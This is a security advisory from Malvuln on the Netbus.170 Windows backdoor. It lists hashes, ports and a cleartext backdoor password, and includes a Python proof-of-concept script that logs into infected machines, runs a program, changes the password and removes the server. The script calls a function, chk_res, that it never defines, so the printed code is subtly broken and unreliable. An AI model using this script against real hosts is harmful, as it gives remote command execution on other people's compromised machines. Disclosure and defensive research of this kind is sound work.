Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025 Original source: https://malvuln.com/advisory/086f0693f81f6d40460c215717349a1f.txt Malvuln Intelligence Feed: https://intel.malvuln.com/ Contact: [email protected] Media: x.com/malvuln Threat: Backdoor.Win32.Netbus.170 Vulnerability: Insecure Credential Storage Family: Netbus Type: PE32 Attack-pattern TTP: Unsecured Credentials (T1552) MD5: 086f0693f81f6d40460c215717349a1f SHA256: bba330e82434d3bcf41e18d7d15df8117883e761aa50858028833a7da84b271c Vuln ID: MVID-2025-0703 Dropped files: C:\Windows\KeyHook.dll Disclosure: 12/23/2025 Description: The malware listens on TCP ports 12632 and 12631. The backdoor server password "ecoli" is stored in cleartext in an .INI textfile, stored under "C:\Windows" having the same name as the malware. Third party attackers who have knowledge of the password can login and issue various commands separated by semicolon. Commands include program execution, change the backdoor password and malware removal using command "RemoveServer;1". [Settings] Port1=12631 ServerPwd=ecoli LogTraffic=0 MailTo= MailFrom= MailHost= Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=12631 def main(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="Password;0;ecoli\r\n" s.send(PAYLOAD.encode()) #Run a program or app: s.send("StartApp;calc\r\n".encode()) #Change backdoor password s.send("ServerPwd;malvuln;\r\n".encode()) print(chk_res(s)) #Remove backdoor use command ; 1 s.send("RemoveServer;1\r\n".encode()) s.close() if __name__ == "__main__": main() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).